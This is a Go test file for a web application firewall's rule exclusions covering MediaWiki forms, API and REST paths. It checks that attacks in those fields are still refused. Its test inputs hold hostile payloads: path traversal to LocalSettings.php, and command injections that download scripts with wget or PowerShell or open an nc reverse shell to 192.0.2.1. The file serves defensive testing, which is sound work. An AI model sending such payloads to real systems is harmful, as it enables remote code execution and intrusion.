package coreruleset_test import ( "net/http" "slices" "testing" ) // mediawikiThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default. const mediawikiThreshold = 5 // mediawikiEdit is the address MediaWiki's edit form posts to. const mediawikiEdit = "/index.php?title=Example&action=submit" // mediawikiAPI is MediaWiki's API. const mediawikiAPI = "/api.php" // mediawikiRESTPage is a page in MediaWiki's REST API. const mediawikiRESTPage = "/rest.php/v1/page/Example" // mediawikiUpload is MediaWiki's upload page. const mediawikiUpload = "/wiki/Special:Upload" // mediawikiSignIn is the address MediaWiki's sign-in form posts to. const mediawikiSignIn = "/index.php?title=Special:UserLogin" // mediawikiMove is the address MediaWiki's form for moving a page posts to. const mediawikiMove = "/index.php?title=Special:MovePage&action=submit" // mediawikiBlock is the address MediaWiki's form for blocking a user posts // to. const mediawikiBlock = "/wiki/Special:Block" // mediawikiProtect is the address MediaWiki's form for protecting a page // posts to. const mediawikiProtect = "/index.php?title=Example&action=protect" // mediawikiSignInPage and mediawikiUploadPage are where a wiki without short // URLs posts its sign-in and upload forms. const ( mediawikiSignInPage = "/index.php/Special:UserLogin" mediawikiUploadPage = "/index.php/Special:Upload" ) func TestOrdinaryMediaWikiRequestsPass(t *testing.T) { t.Parallel() wantRecordedRequestsPass(t, "mediawiki-requests.txt") } // mediawikiQueryFields and mediawikiBodyFields together hold every field that // skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles and // the JSON fields of /rest.php/. mediawikiQueryFields sends each in the query, on a // path where it skips them, ending in "=". // //nolint:gochecknoglobals // a constant cannot be a list var mediawikiQueryFields = []string{ "/index.php?title=", "/index.php?title=Special:Search&search=", "/wiki/Special:WhatLinksHere?target=", "/wiki/Special:Log?page=", "/wiki/Special:Log?user=", "/wiki/Special:ListUsers?username=", "/wiki/Special:AllPages?from=", "/wiki/Special:AllPages?to=", "/wiki/Special:PrefixIndex?prefix=", mediawikiSignIn + "&returnto=", mediawikiSignIn + "&returntoquery=", "/wiki/Special:ListFiles?ilsearch=", "/wiki/Special:FileDuplicateSearch?filename=", mediawikiUpload + "?wpDestFile=", "/wiki/Special:BlockList?wpTarget=", "/index.php?title=Special:BlockList&wpTarget=", "/w/index.php?title=Special:Search&search=", "/index.php/Special:AllPages?from=", "/w/index.php/Special:Search?search=", "/api.php?action=opensearch&search=", "/api.php?action=query&list=search&srsearch=", "/api.php?action=query&list=prefixsearch&pssearch=", "/api.php?action=query&generator=prefixsearch&gpssearch=", "/api.php?action=query&generator=search&gsrsearch=", "/api.php?action=query&titles=", "/api.php?action=parse&page=", "/api.php?action=query&list=allpages&apfrom=", "/api.php?action=query&list=allpages&apto=", "/api.php?action=query&list=allpages&apprefix=", "/api.php?action=query&generator=allpages&gapfrom=", "/api.php?action=query&generator=allpages&gapto=", "/api.php?action=query&generator=allpages&gapprefix=", "/api.php?action=query&generator=allimages&gaifrom=", "/api.php?action=query&generator=allimages&gaiprefix=", "/api.php?action=query&list=allimages&aifrom=", "/api.php?action=query&list=allimages&aiprefix=", "/api.php?action=query&list=allusers&aufrom=", "/api.php?action=query&list=allusers&auprefix=", "/api.php?action=query&list=backlinks&bltitle=", "/api.php?action=query&generator=backlinks&gbltitle=", "/api.php?action=query&list=exturlusage&euquery=", "/api.php?action=query&generator=exturlusage&geuquery=", "/api.php?action=query&list=logevents&letitle=", "/api.php?action=query&list=usercontribs&ucuser=", "/api.php?action=query&list=blocks&bkusers=", "/w/api.php?action=opensearch&search=", "/rest.php/v1/search/title?q=", "/rest.php/v1/search/page?q=", } // mediawikiAttacks are an SQL injection, a path traversal and a script // injection, as a query value. // //nolint:gochecknoglobals // a constant cannot be a list var mediawikiAttacks = []string{ sqlInjection, "..%2F..%2FLocalSettings.php", scriptInjection, } func TestMediaWikiAttacksAreRefusedInTheExcludedQueryFields(t *testing.T) { t.Parallel() crs := atDefaults(t) targets := append([]string{"/index.php?id=", "/load.php?modules="}, mediawikiQueryFields...) for _, attack := range mediawikiAttacks { for _, target := range targets { if got := inspect(t, crs, get(target+attack)); got.Score < mediawikiThreshold { t.Errorf("%s%s let through: %+v", target, attack, got) } } } } // mediawikiBodyField is a field of a form data body, sent to a path. type mediawikiBodyField struct{ target, field string } // mediawikiBodyFields and mediawikiQueryFields together hold every field that // skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles and // the JSON fields of /rest.php/. mediawikiBodyFields sends each in a form data body, on // a path where it skips them. // //nolint:gochecknoglobals // a constant cannot be a list var mediawikiBodyFields = []mediawikiBodyField{ {mediawikiEdit, "wpSummary="}, {mediawikiUpload, "wpUploadDescription="}, {mediawikiUpload, "wpDestFile="}, {mediawikiSignIn, "wpName="}, {mediawikiSignIn, "wpPassword="}, {mediawikiMove, "wpOldTitle="}, {mediawikiMove, "wpNewTitleMain="}, {mediawikiMove, "wpReason="}, {mediawikiBlock, "wpTarget="}, {mediawikiSignInPage, "wpName="}, {"/w" + mediawikiSignInPage, "wpPassword="}, {mediawikiUploadPage, "wpDestFile="}, {"/w" + mediawikiUploadPage, "wpUploadDescription="}, {mediawikiAPI, "title="}, {mediawikiAPI, "from="}, {mediawikiAPI, "to="}, {mediawikiAPI, "summary="}, {mediawikiAPI, "sectiontitle="}, {mediawikiAPI, "filename="}, {mediawikiAPI, "comment="}, {mediawikiAPI, "reason="}, {mediawikiAPI, "user="}, {mediawikiAPI, "lgname="}, {mediawikiAPI, "lgpassword="}, {mediawikiAPI, "username="}, {mediawikiAPI, passwordField}, } // mediawikiReasonFields are the reasons on the admin pages, which skip only // 930120 and 932120. // //nolint:gochecknoglobals // a constant cannot be a list var mediawikiReasonFields = []mediawikiBodyField{ {mediawikiBlock, "wpReason-other="}, {"/index.php/Special:UserRights", "user-reason="}, {mediawikiProtect, "mwProtect-reason="}, } // mediawikiWatchlist is the field that Special:EditWatchlist/raw posts its // list of titles in, one per line. // //nolint:gochecknoglobals // a struct cannot be a constant var mediawikiWatchlist = mediawikiBodyField{ "/index.php/Special:EditWatchlist/raw", "wpTitles=", } // mediawikiWikitextFields are the form data fields that hold wikitext. // //nolint:gochecknoglobals // a constant cannot be a list var mediawikiWikitextFields = []mediawikiBodyField{ {mediawikiEdit, "wpTextbox1="}, {mediawikiAPI, "text="}, {mediawikiAPI, "appendtext="}, {mediawikiAPI, "prependtext="}, } func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) { t.Parallel() crs := readingBodies(t) fields := slices.Concat(mediawikiBodyFields, mediawikiWikitextFields, mediawikiReasonFields, []mediawikiBodyField{mediawikiWatchlist}) for _, attack := range mediawikiAttacks { for _, sent := range fields { r := request{http.MethodPost, sent.target, []string{formData}} got, _ := inspectBody(t, crs, r, sent.field+attack) if got.Score < mediawikiThreshold { t.Errorf("POST %s %s%s let through: %+v", sent.target, sent.field, attack, got) } } } for _, attack := range []string{ injection, scriptTag, } { for _, field := range []string{"source", "comment"} { r := request{http.MethodPut, mediawikiRESTPage, []string{jsonBody}} body := `{"` + field + `":"` + attack + `"}` got, _ := inspectBody(t, crs, r, body) if got.Score < mediawikiThreshold { t.Errorf("PUT %s %s let through: %+v", r.target, body, got) } } } } // mediawikiCommandAttack is a shell command that only 932235 refuses on the // fields that skip the other command rules, as a query value. const mediawikiCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh" func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) { t.Parallel() crs := atDefaults(t) targets := append([]string{"/load.php?modules="}, mediawikiQueryFields...) for _, target := range targets { got := inspect(t, crs, get(target+mediawikiCommandAttack)) if got.Score < mediawikiThreshold { t.Errorf("%s let through: %+v", target, got) } } crs = readingBodies(t) for _, sent := range slices.Concat(mediawikiBodyFields, mediawikiReasonFields) { r := request{http.MethodPost, sent.target, []string{formData}} got, _ := inspectBody(t, crs, r, sent.field+mediawikiCommandAttack) if got.Score < mediawikiThreshold { t.Errorf("POST %s %s let through: %+v", sent.target, sent.field, got) } } r := request{http.MethodPut, mediawikiRESTPage, []string{jsonBody}} body := `{"comment":"; wget http://example.com/x.sh"}` got, _ := inspectBody(t, crs, r, body) if got.Score < mediawikiThreshold { t.Errorf("PUT %s %s let through: %+v", r.target, body, got) } // wpTitles skips 932125, 932230, 932235, 932260 and 932380 only when it // holds no ";", "|", "&", backtick or "{", and only when the body sends // it once. r = request{http.MethodPost, mediawikiWatchlist.target, []string{formData}} for _, attack := range []string{ mediawikiCommandAttack, "Example%0D%0A" + mediawikiCommandAttack, "Example&" + mediawikiWatchlist.field + mediawikiCommandAttack, "Example%0D%0A%24%28id%29", "Example%0D%0A%7Cnc%20-e%20%2Fbin%2Fsh%20192.0.2.1%204444", "%3B%20sh%20-i", "%26%26%20sh%20-i", "%7C%7C%20sh%20-i", "%60sh%20-i%60", "%3B%20ls%20-la%20%2F", "%3B%20iwr%20http%3A%2F%2Fexample.com%2Fx.ps1", "%26%20iex%20%28iwr%20http%3A%2F%2Fexample.com%2Fx.ps1%29", "%7Bwget%2Chttp%3A%2F%2Fexample.com%2Fx.sh%7D", } { body := mediawikiWatchlist.field + attack got, _ := inspectBody(t, crs, r, body) if got.Score < mediawikiThreshold { t.Errorf("POST %s %s let through: %+v", r.target, body, got) } } } func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) { t.Parallel() crs := readingBodies(t) for _, value := range hardValues { for _, target := range mediawikiQueryFields { if got := inspect(t, crs, get(target+value)); got.Score >= mediawikiThreshold { t.Errorf("%s%s refused: %+v", target, value, got) } } fields := append(append([]mediawikiBodyField{}, mediawikiBodyFields...), mediawikiWikitextFields...) for _, sent := range fields { r := request{http.MethodPost, sent.target, []string{formData}} got, _ := inspectBody(t, crs, r, sent.field+value) if got.Score >= mediawikiThreshold { t.Errorf("POST %s %s%s refused: %+v", sent.target, sent.field, value, got) } } // A reason names the command or file in a sentence, as recorded. for _, sent := range mediawikiReasonFields { r := request{http.MethodPost, sent.target, []string{formData}} body := sent.field + "Spamming%20links%20to%20" + value + "%20guides" got, _ := inspectBody(t, crs, r, body) if got.Score >= mediawikiThreshold { t.Errorf("POST %s %s refused: %+v", sent.target, body, got) } } // A watchlist holds the title on its second line, as recorded. r := request{http.MethodPost, mediawikiWatchlist.target, []string{formData}} body := mediawikiWatchlist.field + "Lighthouse%20notes%0D%0A" + value + "%20notes" if got, _ := inspectBody(t, crs, r, body); got.Score >= mediawikiThreshold { t.Errorf("POST %s %s refused: %+v", r.target, body, got) } } } func TestMediaWikiExclusionsAreNarrow(t *testing.T) { t.Parallel() crs := atDefaults(t) for _, refused := range []string{ "/?search=python3", "/index.php?search=python3", "/index.php?title=Example&other=python3", "/other.php?title=python3", "/api.php?other=python3", "/rest.php/v1/search/title?other=python3", "/?q=python3", "/load.php?other=.htaccess", "/x/api.php?search=python3", "/x/index.php/Example?search=python3", } { if got := inspect(t, crs, get(refused)); got.Score < mediawikiThreshold { t.Errorf("%s let through: %+v", refused, got) } } crs = readingBodies(t) // An uploaded file named .htaccess is still refused off MediaWiki's // paths. r := request{ http.MethodPost, "/upload.php", []string{"Content-Type: multipart/form-data; boundary=b"}, } body := "--b\r\nContent-Disposition: form-data; name=\"file\"; " + "filename=\"Example .htaccess.png\"\r\n\r\nx\r\n--b--\r\n" got, _ := inspectBody(t, crs, r, body) if got.Score < mediawikiThreshold { t.Errorf("POST %s %q let through: %+v", r.target, body, got) } for _, target := range []string{ mediawikiAPI, mediawikiUpload, mediawikiUploadPage, "/w" + mediawikiUploadPage, } { r.target = target if got, _ := inspectBody(t, crs, r, body); got.Score >= mediawikiThreshold { t.Errorf("POST %s %q refused: %+v", r.target, body, got) } } } func TestMediaWikiBodyFieldsStayCheckedInTheQuery(t *testing.T) { t.Parallel() crs := readingBodies(t) // The same field name in the query keeps the rules, in the query and // in the body. for _, sent := range []struct{ target, field string }{ {mediawikiEdit, "wpTextbox1=python3"}, {mediawikiEdit, "wpSummary=python3"}, {mediawikiSignIn, "wpPassword=python3"}, {mediawikiProtect, "mwProtect-reason=.htaccess"}, {"/index.php?title=Special:EditWatchlist/raw", "wpTitles=python3"}, {mediawikiAPI + "?action=edit", "text=python3"}, } { r := request{http.MethodPost, sent.target + "&" + sent.field, []string{formData}} got, _ := inspectBody(t, crs, r, sent.field) if got.Score < mediawikiThreshold { t.Errorf("POST %s let through: %+v", r.target, got) } } }